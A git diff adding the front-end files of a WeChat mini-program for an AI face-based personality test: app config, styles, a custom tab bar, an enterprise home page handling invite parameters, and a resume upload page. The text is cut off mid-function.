+ getRuntimeConfig() { + return new Promise((resolve, reject) => { + const scope = this.globalData.appScope || 'personal' + const base = this.globalData.apiBase.replace(/\/$/, '') + const url = `${base}/api/config/runtime?scope=${encodeURIComponent(scope)}` + const token = this.globalData.token || wx.getStorageSync('token') || '' + wx.request({ + url, + method: 'GET', + header: token ? { Authorization: 'Bearer ' + token } : {}, + success: (res) => { + if (res.statusCode === 200 && res.data && res.data.code === 200) { + const data = res.data.data || {} + if (data.siteTitle) this.globalData.siteTitle = data.siteTitle + if (data.textConfig) this.globalData.textConfig = data.textConfig + resolve(data) + } else { + reject(new Error(res.data && res.data.message ? res.data.message : '获取配置失败')) + } + }, + fail: reject + }) + }) + } +}) diff --git a/miniprogram/app.json b/miniprogram/app.json new file mode 100644 index 0000000..6528509 --- /dev/null +++ b/miniprogram/app.json @@ -0,0 +1,64 @@ +{ + "pages": [ + "pages/index/index", + "pages/index/camera", + "pages/index/upload", + "pages/index/result", + "pages/test-select/index", + "pages/test/mbti", + "pages/test/disc", + "pages/test/pdp", + "pages/result/mbti", + "pages/result/disc", + "pages/result/pdp", + "pages/result/resume", + "pages/purchase/index", + "pages/recharge/index", + "pages/enterprise/index", + "pages/enterprise/resume-history", + "pages/profile/index", + "pages/user-profile/index", + "pages/history/index", + "pages/phone-auth/index", + "pages/promo/index", + "pages/promo/poster", + "pages/promo/withdrawals" + ], + "tabBar": { + "custom": true, + "color": "#999999", + "selectedColor": "#7c3aed", + "backgroundColor": "#ffffff", + "borderStyle": "black", + "list": [ + { + "pagePath": "pages/index/index", + "text": "首页", + "iconPath": "images/home.png", + "selectedIconPath": "images/home-active.png" + }, + { + "pagePath": "pages/index/camera", + "text": "查看报告", + "iconPath": "images/camera.png", + "selectedIconPath": "images/camera-active.png" + }, + { + "pagePath": "pages/profile/index", + "text": "我的", + "iconPath": "images/user.png", + "selectedIconPath": "images/user-active.png" + } + ] + }, + "window": { + "backgroundTextStyle": "light", + "navigationBarBackgroundColor": "#FFFFFF", + "navigationBarTitleText": "神仙团队AI性格测试", + "navigationBarTextStyle": "black", + "backgroundColor": "#F5F5F5" + }, + "style": "v2", + "sitemapLocation": "sitemap.json", + "lazyCodeLoading": "requiredComponents" +} diff --git a/miniprogram/app.wxss b/miniprogram/app.wxss new file mode 100644 index 0000000..b649480 --- /dev/null +++ b/miniprogram/app.wxss @@ -0,0 +1,176 @@ +/* app.wxss - 全局样式 */ + +/* 主题颜色 */ +page { + --primary-color: #FF6B8A; + --primary-light: #FFE4E9; + --secondary-color: #8B5CF6; + --secondary-light: #EDE9FE; + --success-color: #10B981; + --warning-color: #F59E0B; + --danger-color: #EF4444; + --text-primary: #1F2937; + --text-secondary: #6B7280; + --text-muted: #9CA3AF; + --bg-primary: #FFFFFF; + --bg-secondary: #F3F4F6; + --border-color: #E5E7EB; + + background-color: var(--bg-secondary); + font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; + font-size: 28rpx; + color: var(--text-primary); + line-height: 1.6; +} + +/* 玻璃卡片效果 */ +.glass-card { + background: rgba(255, 255, 255, 0.95); + backdrop-filter: blur(20px); + border-radius: 24rpx; + box-shadow: 0 8rpx 32rpx rgba(0, 0, 0, 0.08); + padding: 32rpx; + margin-bottom: 24rpx; +} + +/* 渐变背景 */ +.gradient-personal { + background: linear-gradient(135deg, #FF6B8A 0%, #FF8E53 100%); +} + +.gradient-enterprise { + background: linear-gradient(135deg, #8B5CF6 0%, #3B82F6 100%); +} + +/* 按钮样式 */ +.btn { + display: flex; + align-items: center; + justify-content: center; + height: 88rpx; + border-radius: 44rpx; + font-size: 32rpx; + font-weight: 600; + border: none; + transition: all 0.3s ease; +} + +.btn-primary { + background: linear-gradient(135deg, #FF6B8A 0%, #FF8E53 100%); + color: #FFFFFF; +} + +.btn-secondary { + background: #FFFFFF; + color: var(--primary-color); + border: 2rpx solid var(--primary-color); +} + +.btn-outline { + background: transparent; + color: var(--text-secondary); + border: 2rpx solid var(--border-color); +} + +.btn:active { + transform: scale(0.98); + opacity: 0.9; +} + +/* 进度条 */ +.progress-bar { + width: 100%; + height: 12rpx; + background: var(--bg-secondary); + border-radius: 6rpx; + overflow: hidden; +} + +.progress-bar-fill { + height: 100%; + border-radius: 6rpx; + transition: width 0.3s ease; +} + +/* 标签 */ +.tag { + display: inline-flex; + align-items: center; + padding: 8rpx 20rpx; + border-radius: 24rpx; + font-size: 24rpx; + font-weight: 500; +} + +.tag-primary { + background: var(--primary-light); + color: var(--primary-color); +} + +.tag-secondary { + background: var(--secondary-light); + color: var(--secondary-color); +} + +/* 文字样式 */ +.text-primary { + color: var(--text-primary); +} + +.text-secondary { + color: var(--text-secondary); +} + +.text-muted { + color: var(--text-muted); +} + +.text-center { + text-align: center; +} + +.font-bold { + font-weight: 700; +} + +.font-semibold { + font-weight: 600; +} + +/* 间距 */ +.mt-2 { margin-top: 16rpx; } +.mt-4 { margin-top: 32rpx; } +.mb-2 { margin-bottom: 16rpx; } +.mb-4 { margin-bottom: 32rpx; } +.p-4 { padding: 32rpx; } + +/* 弹性布局 */ +.flex { + display: flex; +} + +.flex-col { + flex-direction: column; +} + +.items-center { + align-items: center; +} + +.justify-center { + justify-content: center; +} + +.justify-between { + justify-content: space-between; +} + +.flex-1 { + flex: 1; +} + +/* 安全区域 */ +.safe-area-bottom { + padding-bottom: calc(constant(safe-area-inset-bottom) + 16rpx); + padding-bottom: calc(env(safe-area-inset-bottom) + 16rpx); +} diff --git a/miniprogram/custom-tab-bar/index.js b/miniprogram/custom-tab-bar/index.js new file mode 100644 index 0000000..a11fed6 --- /dev/null +++ b/miniprogram/custom-tab-bar/index.js @@ -0,0 +1,74 @@ +// 自定义 tabBar(不使用微信内置):灰线 + 三栏,中间为浮起圆钮 +Component({ + data: { + selected: 0, + list: [ + { pagePath: '/pages/index/index', text: '首页', textKey: 'home', icon: 'home' }, + { pagePath: '/pages/index/camera', text: '查看报告', textKey: 'camera', icon: 'camera' }, + { pagePath: '/pages/profile/index', text: '我的', textKey: 'profile', icon: 'user' } + ] + }, + lifetimes: { + attached() { + this.updateSelected() + } + }, + pageLifetimes: { + show() { + this.updateSelected() + } + }, + methods: { + updateSelected() { + try { + const pages = getCurrentPages() + if (!pages || pages.length === 0) { + return + } + + const currentPage = pages[pages.length - 1] + if (!currentPage || !currentPage.route) { + return + } + + const url = currentPage.route + let selected = 0 + + if (url === 'pages/index/index' || url === 'pages/enterprise/index') { + selected = 0 + } else if (url === 'pages/index/camera') { + selected = 1 + } else if (url === 'pages/profile/index') { + selected = 2 + } + + this.setData({ selected }) + } catch (error) { + console.error('updateSelected error:', error) + // 默认选中第一个 + this.setData({ selected: 0 }) + } + }, + switchTab(e) { + const index = parseInt(e.currentTarget.dataset.index, 10) + let url = e.currentTarget.dataset.path + + // 点击"首页"(index=0)时,根据当前 scope 跳到企业版或个人版首页 + if (index === 0) { + try { + const app = getApp() + const scope = (app && app.globalData && app.globalData.appScope) || 'personal' + if (scope === 'enterprise') { + // 企业版:navigateTo(不是 tabBar 页面,不能用 switchTab) + wx.navigateTo({ url: '/pages/enterprise/index' }) + this.setData({ selected: index }) + return + } + } catch (e) {} + } + + wx.switchTab({ url }) + this.setData({ selected: index }) + } + } +}) diff --git a/miniprogram/custom-tab-bar/index.json b/miniprogram/custom-tab-bar/index.json new file mode 100644 index 0000000..efdc3c8 --- /dev/null +++ b/miniprogram/custom-tab-bar/index.json @@ -0,0 +1,3 @@ +{ + "component": true +} diff --git a/miniprogram/custom-tab-bar/index.wxml b/miniprogram/custom-tab-bar/index.wxml new file mode 100644 index 0000000..f0ca7b2 --- /dev/null +++ b/miniprogram/custom-tab-bar/index.wxml @@ -0,0 +1,35 @@ + + + + + + + 首页 + + + + + + + + + + 我的 + + + diff --git a/miniprogram/custom-tab-bar/index.wxss b/miniprogram/custom-tab-bar/index.wxss new file mode 100644 index 0000000..ccc67ab --- /dev/null +++ b/miniprogram/custom-tab-bar/index.wxss @@ -0,0 +1,104 @@ +/* 自定义 tabBar:白底、顶部分割线、中间浮起圆钮 */ +.tab-bar { + position: fixed; + left: 0; + right: 0; + bottom: 0; + background: #ffffff; + padding-bottom: env(safe-area-inset-bottom); + z-index: 9999; +} + +.tab-bar-line { + height: 1rpx; + background: #e5e7eb; + width: 100%; +} + +.tab-bar-inner { + display: flex; + align-items: flex-end; + justify-content: space-around; + height: 100rpx; + padding: 0 20rpx 8rpx; + position: relative; +} + +.tab-item { + flex: 1; + display: flex; + flex-direction: column; + align-items: center; + justify-content: flex-end; + padding-bottom: 8rpx; +} + +.tab-icon { + width: 48rpx; + height: 48rpx; + margin-bottom: 4rpx; +} + +.tab-text { + font-size: 20rpx; + color: #999999; +} + +.tab-item.active .tab-text { + color: #7c3aed; +} + +/* 中间项:浮起彩色圆钮 + 相机图标 */ +.tab-item-center { + position: relative; + display: flex; + flex-direction: column; + align-items: center; + justify-content: flex-end; + margin-top: -56rpx; + padding-bottom: 8rpx; +} + +.center-circle { + width: 96rpx; + height: 96rpx; + min-width: 96rpx; + min-height: 96rpx; + border-radius: 50%; + background: linear-gradient(135deg, #7c3aed 0%, #a78bfa 100%); + display: flex; + align-items: center; + justify-content: center; + margin-bottom: 4rpx; + box-shadow: 0 4rpx 20rpx rgba(124, 58, 237, 0.4); + border: 4rpx solid #ffffff; + flex-shrink: 0; + overflow: hidden; +} + +.tab-item-center.active .center-circle { + background: linear-gradient(135deg, #6d28d9 0%, #7c3aed 100%); + box-shadow: 0 4rpx 20rpx rgba(124, 58, 237, 0.6); +} + +.center-icon { + width: 44rpx; + height: 44rpx; +} + +/* 占位:与「首页」「我的」文字等高,保证中间圆钮与两侧图标对齐 */ +.center-text-placeholder { + height: 24rpx; + width: 1rpx; + visibility: hidden; +} + +.tab-item-center .center-text { + color: #7c3aed; + font-size: 20rpx; + font-weight: 600; +} + +.tab-item-center.active .center-text { + color: #6d28d9; +} diff --git a/miniprogram/images/camera-active.png b/miniprogram/images/camera-active.png new file mode 100644 index 0000000..80c59a2 Binary files /dev/null and b/miniprogram/images/camera-active.png differ diff --git a/miniprogram/images/camera.png b/miniprogram/images/camera.png new file mode 100644 index 0000000..80c59a2 Binary files /dev/null and b/miniprogram/images/camera.png differ diff --git a/miniprogram/images/default-avatar.png b/miniprogram/images/default-avatar.png new file mode 100644 index 0000000..81bf4aa Binary files /dev/null and b/miniprogram/images/default-avatar.png differ diff --git a/miniprogram/images/home-active.png b/miniprogram/images/home-active.png new file mode 100644 index 0000000..4418853 Binary files /dev/null and b/miniprogram/images/home-active.png differ diff --git a/miniprogram/images/home.png b/miniprogram/images/home.png new file mode 100644 index 0000000..98b0cff Binary files /dev/null and b/miniprogram/images/home.png differ diff --git a/miniprogram/images/mbti-team-image.png b/miniprogram/images/mbti-team-image.png new file mode 100644 index 0000000..b95f0cf Binary files /dev/null and b/miniprogram/images/mbti-team-image.png differ diff --git a/miniprogram/images/user-active.png b/miniprogram/images/user-active.png new file mode 100644 index 0000000..cf1b6d0 Binary files /dev/null and b/miniprogram/images/user-active.png differ diff --git a/miniprogram/images/user.png b/miniprogram/images/user.png new file mode 100644 index 0000000..ef1fb59 Binary files /dev/null and b/miniprogram/images/user.png differ diff --git a/miniprogram/pages/ai-test/camera.js b/miniprogram/pages/ai-test/camera.js new file mode 100644 index 0000000..9555c82 --- /dev/null +++ b/miniprogram/pages/ai-test/camera.js @@ -0,0 +1 @@ +Page({}) \ No newline at end of file diff --git a/miniprogram/pages/ai-test/camera.json b/miniprogram/pages/ai-test/camera.json new file mode 100644 index 0000000..9e26dfe --- /dev/null +++ b/miniprogram/pages/ai-test/camera.json @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/miniprogram/pages/ai-test/camera.wxml b/miniprogram/pages/ai-test/camera.wxml new file mode 100644 index 0000000..f966f72 --- /dev/null +++ b/miniprogram/pages/ai-test/camera.wxml @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/miniprogram/pages/ai-test/camera.wxss b/miniprogram/pages/ai-test/camera.wxss new file mode 100644 index 0000000..0834804 --- /dev/null +++ b/miniprogram/pages/ai-test/camera.wxss @@ -0,0 +1 @@ +/* placeholder */ \ No newline at end of file diff --git a/miniprogram/pages/ai-test/index.js b/miniprogram/pages/ai-test/index.js new file mode 100644 index 0000000..9555c82 --- /dev/null +++ b/miniprogram/pages/ai-test/index.js @@ -0,0 +1 @@ +Page({}) \ No newline at end of file diff --git a/miniprogram/pages/ai-test/index.json b/miniprogram/pages/ai-test/index.json new file mode 100644 index 0000000..9e26dfe --- /dev/null +++ b/miniprogram/pages/ai-test/index.json @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/miniprogram/pages/ai-test/index.wxml b/miniprogram/pages/ai-test/index.wxml new file mode 100644 index 0000000..f966f72 --- /dev/null +++ b/miniprogram/pages/ai-test/index.wxml @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/miniprogram/pages/ai-test/index.wxss b/miniprogram/pages/ai-test/index.wxss new file mode 100644 index 0000000..0834804 --- /dev/null +++ b/miniprogram/pages/ai-test/index.wxss @@ -0,0 +1 @@ +/* placeholder */ \ No newline at end of file diff --git a/miniprogram/pages/ai-test/result.js b/miniprogram/pages/ai-test/result.js new file mode 100644 index 0000000..9555c82 --- /dev/null +++ b/miniprogram/pages/ai-test/result.js @@ -0,0 +1 @@ +Page({}) \ No newline at end of file diff --git a/miniprogram/pages/ai-test/result.json b/miniprogram/pages/ai-test/result.json new file mode 100644 index 0000000..9e26dfe --- /dev/null +++ b/miniprogram/pages/ai-test/result.json @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/miniprogram/pages/ai-test/result.wxml b/miniprogram/pages/ai-test/result.wxml new file mode 100644 index 0000000..f966f72 --- /dev/null +++ b/miniprogram/pages/ai-test/result.wxml @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/miniprogram/pages/ai-test/result.wxss b/miniprogram/pages/ai-test/result.wxss new file mode 100644 index 0000000..0834804 --- /dev/null +++ b/miniprogram/pages/ai-test/result.wxss @@ -0,0 +1 @@ +/* placeholder */ \ No newline at end of file diff --git a/miniprogram/pages/enterprise/index.js b/miniprogram/pages/enterprise/index.js new file mode 100644 index 0000000..2e9ee39 --- /dev/null +++ b/miniprogram/pages/enterprise/index.js @@ -0,0 +1,214 @@ +// pages/enterprise/index.js - 企业版首页 +const app = getApp() +const { request } = require('../../utils/request') + +Page({ + data: { + statusBarHeight: 0, + navbarHeight: 88, + siteTitle: '神仙团队AI性格测试', + startButtonEnterprise: '开始面部测试', + aiAnalysisText: '智能分析' + }, + + onLoad(options) { + // 企业版首页:固定 scope=enterprise + const app = getApp() + try { app.globalData.appScope = 'enterprise' } catch (e) {} + + // ── 解析入参(兼容两种来源:扫码 scene / 分享链接 options)── + const rawScene = (options && options.scene) ? decodeURIComponent(options.scene) : '' + // 解析 scene 中的 key=value 对(如 uid=1&eid=6) + const sceneParams = {} + if (rawScene) { + rawScene.split('&').forEach(pair => { + const [k, v] = pair.split('=') + if (k) sceneParams[k] = v || '' + }) + } + + // 合并所有来源:scene > options(分享链接) + const uid = parseInt(sceneParams.uid || options.uid || 0, 10) + let eid = parseInt(sceneParams.eid || options.eid || 0, 10) + + // 兼容旧格式 scene: e_企业ID + if (!eid && rawScene && rawScene.indexOf('e_') === 0) { + eid = parseInt(rawScene.slice(2), 10) || 0 + } + + console.log('[enterprise/onLoad] 解码参数 =>', { + rawScene, + sceneParams, + options, + uid, + eid + }) + + if (eid > 0) app.globalData.enterpriseIdFromScene = eid + + // 企业版分销绑定:uid > 0 且 eid > 0 时触发 + if (uid > 0 && eid > 0) { + app.globalData._pendingInviterId = uid + app.globalData._pendingInviterScope = 'enterprise' + app.globalData._pendingInviterEid = eid + } + // 获取状态栏高度和屏幕信息 + const systemInfo = wx.getSystemInfoSync() + const statusBarHeight = systemInfo.statusBarHeight || 0 + const screenWidth = systemInfo.screenWidth || 375 + const statusBarHeightRpx = (statusBarHeight * 750) / screenWidth + const navbarHeightRpx = statusBarHeightRpx + 88 + const gd = app.globalData + this.setData({ + statusBarHeight: statusBarHeightRpx, + navbarHeight: navbarHeightRpx, + siteTitle: gd.siteTitle || '神仙团队AI性格测试', + startButtonEnterprise: (gd.textConfig && gd.textConfig.startButtonEnterprise) || '开始面部测试', + aiAnalysisText: (gd.textConfig && gd.textConfig.aiAnalysisText) || '智能分析' + }) + + // 未绑定企业的用户:若从邀请码扫码进入(有 enterpriseIdFromScene)也允许使用企业版 + const userInfo = app.globalData.userInfo || wx.getStorageSync('userInfo') || {} + const fromInvite = !!app.globalData.enterpriseIdFromScene + const redirectBack = () => { + wx.showToast({ title: '您尚未绑定任何企业,无法使用企业版', icon: 'none', duration: 2500 }) + setTimeout(() => wx.switchTab({ url: '/pages/index/index' }), 600) + } + // 如果不是通过企业邀请码进入:沿用原有 hasEnterprise 判定 + if (!fromInvite) { + if (userInfo.hasEnterprise === true) { + app.getRuntimeConfig().then((cfg) => { + if (cfg && cfg.siteTitle) { + app.globalData.siteTitle = cfg.siteTitle + this.setData({ siteTitle: cfg.siteTitle }) + } + }).catch(() => {}) + return + } + if (userInfo.hasEnterprise === false) { + redirectBack() + return + } + } + app.ensureLogin() + .then(() => app.getRuntimeConfig()) + .then((cfg) => { + if (cfg) { + if (cfg.siteTitle) { + app.globalData.siteTitle = cfg.siteTitle + this.setData({ siteTitle: cfg.siteTitle }) + } + if (cfg.textConfig) { + app.globalData.textConfig = cfg.textConfig + this.setData({ + startButtonEnterprise: cfg.textConfig.startButtonEnterprise || '开始面部测试', + aiAnalysisText: cfg.textConfig.aiAnalysisText || '智能分析' + }) + } + } + if ((cfg && cfg.pricingType) !== 'enterprise' && !app.globalData.enterpriseIdFromScene) { + redirectBack() + return + } + // 若通过企业邀请码进入(带 enterpriseIdFromScene),登录后绑定到 wechat_users.enterpriseId + const eid = app.globalData.enterpriseIdFromScene + if (eid) { + request({ + url: '/api/enterprise/bind', + method: 'POST', + data: { enterpriseId: eid }, + success(res) { + if (res.statusCode === 200 && res.data && res.data.code === 200) { + const data = res.data.data || {} + const merged = { ...(app.globalData.userInfo || {}), ...data } + app.globalData.userInfo = merged + wx.setStorageSync('userInfo', merged) + } + } + }) + } + }) + .catch(() => { + wx.showToast({ title: '请先登录', icon: 'none' }) + setTimeout(() => wx.switchTab({ url: '/pages/index/index' }), 600) + }) + }, + + onShow() { + if (typeof this.getTabBar === 'function' && this.getTabBar()) { + this.getTabBar().setData({ selected: 0 }) + } + try { getApp().globalData.appScope = 'enterprise' } catch (e) {} + const gd = getApp().globalData + this.setData({ + siteTitle: gd.siteTitle || '神仙团队AI性格测试', + startButtonEnterprise: (gd.textConfig && gd.textConfig.startButtonEnterprise) || '开始面部测试', + aiAnalysisText: (gd.textConfig && gd.textConfig.aiAnalysisText) || '智能分析' + }) + }, + + // 切换到个人版 + switchToPersonal() { + wx.switchTab({ + url: '/pages/index/index' + }) + }, + + // 开始AI面部测试(先校验是否已上传简历,再跳转相机) + startAITest() { + const eid = (app.globalData && app.globalData.enterpriseIdFromScene) || (app.globalData && app.globalData.userInfo && app.globalData.userInfo.enterpriseId) || (wx.getStorageSync('userInfo') || {}).enterpriseId || null + const query = eid ? `?enterpriseId=${eid}&pageSize=1` : '?pageSize=1' + request({ + url: '/api/enterprise/resume-uploads' + query, + method: 'GET', + needAuth: true, + success: (res) => { + const list = (res.data && res.data.code === 200 && res.data.data && res.data.data.list) ? res.data.data.list : [] + if (!list.length) { + wx.showModal({ + title: '提示', + content: '需要先上传简历后再开始面部测试,请到「我的」-「我的简历」中上传', + showCancel: true, + confirmText: '去上传', + success: (r) => { + if (r.confirm) { + wx.navigateTo({ url: '/pages/enterprise/resume-history' }) + } + } + }) + return + } + wx.switchTab({ url: '/pages/index/camera' }) + }, + fail: () => { + wx.showModal({ + title: '提示', + content: '需要先上传简历后再开始面部测试,请到「我的」-「我的简历」中上传', + showCancel: true, + confirmText: '去上传', + success: (r) => { + if (r.confirm) { + wx.navigateTo({ url: '/pages/enterprise/resume-history' }) + } + } + }) + } + }) + }, + + onShareAppMessage() { + const { getSharePath } = require('../../utils/share') + return { + title: '神仙团队AI性格测试 (企业版) - 团队分析与优化', + path: getSharePath('/pages/enterprise/index') + } + }, + + onShareTimeline() { + const { buildShareQuery } = require('../../utils/share') + return { + title: '神仙团队AI性格测试 (企业版) - 团队分析与优化', + query: buildShareQuery() + } + } +}) diff --git a/miniprogram/pages/enterprise/index.json b/miniprogram/pages/enterprise/index.json new file mode 100644 index 0000000..5f7271a --- /dev/null +++ b/miniprogram/pages/enterprise/index.json @@ -0,0 +1,7 @@ +{ + "navigationStyle": "custom", + "usingComponents": { + "custom-tab-bar": "/custom-tab-bar/index" + }, + "enablePullDownRefresh": false +} diff --git a/miniprogram/pages/enterprise/index.wxml b/miniprogram/pages/enterprise/index.wxml new file mode 100644 index 0000000..5b2fde6 --- /dev/null +++ b/miniprogram/pages/enterprise/index.wxml @@ -0,0 +1,59 @@ + + + + + + + 👤 + 个人版 + + {{siteTitle || '神仙团队AI性格测试'}} + + + + + + + + + + + + + + 面相分析 + 骨相分析 + 性格测评 + + + + + 测试流程 + + + 1 + STEP1 + 拍摄照片 + + + + 2 + STEP2 + {{aiAnalysisText || '智能分析'}} + + + + 3 + STEP3 + 生成报告 + + + + + + {{startButtonEnterprise || '开始面部测试'}} + + + + + diff --git a/miniprogram/pages/enterprise/index.wxss b/miniprogram/pages/enterprise/index.wxss new file mode 100644 index 0000000..d3726f7 --- /dev/null +++ b/miniprogram/pages/enterprise/index.wxss @@ -0,0 +1,283 @@ +/* pages/enterprise/index.wxss - 企业版首页样式(与个人版相同,仅背景不同) */ +.container { + min-height: 100vh; + width: 100vw; + overflow-x: hidden; + overflow-y: auto; + background: linear-gradient(135deg, #f8f9ff 0%, #f0f4ff 50%, #ffffff 100%); + position: relative; + display: flex; + flex-direction: column; + box-sizing: border-box; + padding-bottom: calc(100rpx + env(safe-area-inset-bottom) + 40rpx); +} + +/* 背景装饰圆形 */ +.bg-decoration { + position: absolute; + width: 600rpx; + height: 600rpx; + border-radius: 50%; + pointer-events: none; + z-index: 0; +} + +.bg-top-right { + top: -200rpx; + right: -200rpx; + background: radial-gradient(circle, rgba(139, 92, 246, 0.08) 0%, transparent 70%); +} + +.bg-bottom-left { + /* bottom: -200rpx; + left: -200rpx; */ + bottom: 0; + left: 0; + background: radial-gradient(circle, rgba(99, 102, 241, 0.06) 0%, transparent 70%); +} + +/* 自定义导航栏 */ +.custom-navbar { + position: fixed; + top: 0; + left: 0; + right: 0; + background: #ffffff; + z-index: 10000; + width: 100%; +} + +.navbar-content { + height: 88rpx; + display: flex; + align-items: center; + justify-content: space-between; + padding: 0 40rpx; + position: relative; + background: #ffffff; + min-height: 88rpx; +} + +.navbar-title { + position: absolute; + left: 50%; + transform: translateX(-50%); + font-size: 36rpx; + font-weight: 700; + color: #333; + text-align: center; + flex: 1; +} + +.navbar-placeholder { + width: 140rpx; + flex-shrink: 0; +} + +.switch-personal-btn { + display: flex; + align-items: center; + gap: 8rpx; + padding: 12rpx 20rpx; + background: rgba(99, 102, 241, 0.1); + border-radius: 30rpx; + border: 1rpx solid rgba(99, 102, 241, 0.2); + flex-shrink: 0; + z-index: 10; +} + +.personal-icon { + font-size: 28rpx; +} + +.personal-text { + font-size: 24rpx; + color: #6366f1; + font-weight: 600; +} + +.top-image-section { + width: 100%; + padding: 15rpx 40rpx 20rpx; + flex-shrink: 0; + box-sizing: border-box; + position: relative; + z-index: 1; + margin-top: 0; +} + +.image-container { + position: relative; + width: 100%; +} + +.image-wrapper { + position: relative; + width: 100%; + padding-top: 100%; + border-radius: 50%; + overflow: hidden; + background: #ffffff; + display: flex; + align-items: center; + justify-content: center; + box-shadow: 0 8rpx 32rpx rgba(0, 0, 0, 0.12); +} + +.main-image { + position: absolute; + top: 50%; + left: 50%; + transform: translate(-50%, -50%); + width: 85%; + height: 85%; + display: block; +} + +.float-tag { + position: absolute; + padding: 12rpx 24rpx; + border-radius: 30rpx; + font-size: 24rpx; + font-weight: 600; + color: #e63946; + background: rgba(255, 255, 255, 0.95); + box-shadow: 0 4rpx 16rpx rgba(230, 57, 70, 0.2); + white-space: nowrap; + z-index: 10; +} + +.tag-1 { + top: 15%; + right: 10rpx; +} + +.tag-2 { + bottom: 25%; + left: 0; +} + +.tag-3 { + bottom: 25%; + right: 0; +} + +.process-section { + padding: 15rpx 40rpx 20rpx; + flex-shrink: 0; + position: relative; + z-index: 1; +} + +.section-title { + font-size: 32rpx; + font-weight: 700; + color: #e63946; + text-align: center; + margin-bottom: 25rpx; +} + +.process-steps { + display: flex; + align-items: center; + justify-content: space-between; + padding: 0 10rpx; +} + +.step-item { + display: flex; + flex-direction: column; + align-items: center; + flex: 1; +} + +.step-circle { + width: 70rpx; + height: 70rpx; + border-radius: 50%; + background: #b8b9bc; + display: flex; + align-items: center; + justify-content: center; + font-size: 36rpx; + font-weight: 700; + color: #fff; + margin-bottom: 12rpx; +} + +.step-circle.active { + background: #e63946; +} + +.step-label { + font-size: 20rpx; + color: #666; + margin-bottom: 4rpx; +} + +.step-text { + font-size: 24rpx; + color: #333; + font-weight: 600; +} + +.step-line { + width: 50rpx; + height: 4rpx; + background: #e0e0e0; + margin: 0 6rpx 50rpx; +} + +.start-button { + /* 顶部与中间按钮的间距:上 20,下 10 */ + margin: 20rpx 40rpx 0; + background: linear-gradient(135deg, #6366f1 0%, #8b5cf6 100%); + border-radius: 50rpx; + padding: 24rpx; + text-align: center; + box-shadow: 0 8rpx 30rpx rgba(99, 102, 241, 0.3); + position: relative; + z-index: 1; +} + +.button-text { + font-size: 30rpx; + color: #fff; + font-weight: 700; +} + +.upload-button { + margin: 10rpx 40rpx 0; + border: 2rpx solid #8b5cf6; + border-radius: 50rpx; + padding: 20rpx; + text-align: center; + background: #fff; + position: relative; + z-index: 1; +} + +.upload-button-primary { + margin: 20rpx 40rpx 0; + background: linear-gradient(135deg, #6366f1 0%, #8b5cf6 100%); + border: none; +} + +.upload-button-primary .upload-text { + color: #fff; +} + +.upload-text { + font-size: 26rpx; + color: #8b5cf6; + font-weight: 600; +} + +/* 确保底部导航显示 */ +custom-tab-bar { + position: fixed; + bottom: 0; + left: 0; + right: 0; + z-index: 9999; +} diff --git a/miniprogram/pages/enterprise/resume-history.js b/miniprogram/pages/enterprise/resume-history.js new file mode 100644 index 0000000..a954d27 --- /dev/null +++ b/miniprogram/pages/enterprise/resume-history.js @@ -0,0 +1,209 @@ +// pages/enterprise/resume-history.js - 简历上传记录(历史) +const app = getApp() +const { request } = require('../../utils/request') + +Page({ + data: { + list: [], + loading: true, + empty: false + }, + + onLoad() { + this.loadList() + }, + + onShow() { + if (this.data.list.length > 0 || !this.data.loading) { + this.loadList() + } + }, + + loadList() { + this.setData({ loading: true }) + const eid = (app.globalData && app.globalData.enterpriseIdFromScene) || (app.globalData && app.globalData.userInfo && app.globalData.userInfo.enterpriseId) || (wx.getStorageSync('userInfo') || {}).enterpriseId || null + const query = eid ? `?enterpriseId=${eid}&pageSize=100` : '?pageSize=100' + request({ + url: '/api/enterprise/resume-uploads' + query, + method: 'GET', + needAuth: true, + success: (res) => { + this.setData({ loading: false }) + if (res.statusCode === 200 && res.data && res.data.code === 200 && Array.isArray(res.data.data && res.data.data.list)) { + const list = (res.data.data.list || []).map((item) => ({ + id: item.id, + url: item.url || '', + fileName: item.fileName || '', + uploadedAt: item.uploadedAt || 0, + uploadedAtStr: item.uploadedAtStr || this._formatTime(item.uploadedAt), + isDefault: !!item.isDefault + })) + this.setData({ list, empty: list.length === 0 }) + } else { + this.setData({ list: [], empty: true }) + } + }, + fail: () => this.setData({ loading: false, list: [], empty: true }) + }) + }, + + uploadResume() { + const eid = (app.globalData && app.globalData.enterpriseIdFromScene) || (app.globalData && app.globalData.userInfo && app.globalData.userInfo.enterpriseId) || (wx.getStorageSync('userInfo') || {}).enterpriseId || null + wx.chooseMessageFile({ + count: 1, + type: 'file', + extension: ['jpg', 'jpeg', 'png', 'gif', 'webp', 'pdf', 'doc', 'docx'], + success: (fileRes) => { + const files = fileRes.tempFiles || [] + if (!files.length) { + wx.showToast({ title: '请选择文件', icon: 'none' }) + return + } + const file = files[0] + const filePath = file.path || file.tempFilePath + const fileName = file.name || '简历文件' + const apiBase = (app.globalData && app.globalData.apiBase) ? app.globalData.apiBase.replace(/\/$/, '') : '' + const token = (app.globalData && app.globalData.token) || wx.getStorageSync('token') || '' + const uploadUrl = apiBase + '/api/upload/file' + wx.showLoading({ title: '上传中...', mask: true }) + wx.uploadFile({ + url: uploadUrl, + filePath, + name: 'file', + header: token ? { Authorization: 'Bearer ' + token } : {}, + success: (res) => { + wx.hideLoading() + try { + const data = JSON.parse(res.data) + if (data.code === 200 && data.data && data.data.url) { + const url = data.data.url + request({ + url: '/api/enterprise/resume-uploads', + method: 'POST', + needAuth: true, + data: { url, fileName, enterpriseId: eid }, + success: (r) => { + if (r.statusCode === 200 && r.data && r.data.code === 200) { + wx.showToast({ title: '已上传并记录', icon: 'success' }) + this.loadList() + } else { + wx.showToast({ title: r.data && r.data.message || '记录失败', icon: 'none' }) + } + }, + fail: () => wx.showToast({ title: '记录失败,请重试', icon: 'none' }) + }) + } else { + wx.showToast({ title: data.message || '上传失败', icon: 'none' }) + } + } catch (e) { + wx.showToast({ title: '解析上传结果失败', icon: 'none' }) + } + }, + fail: () => { + wx.hideLoading() + wx.showToast({ title: '上传失败,请稍后重试', icon: 'none' }) + } + }) + }, + fail: () => wx.showToast({ title: '已取消选择', icon: 'none' }) + }) + }, + + _formatTime(ts) { + if (!ts) return '' + const d = new Date(ts) + const y = 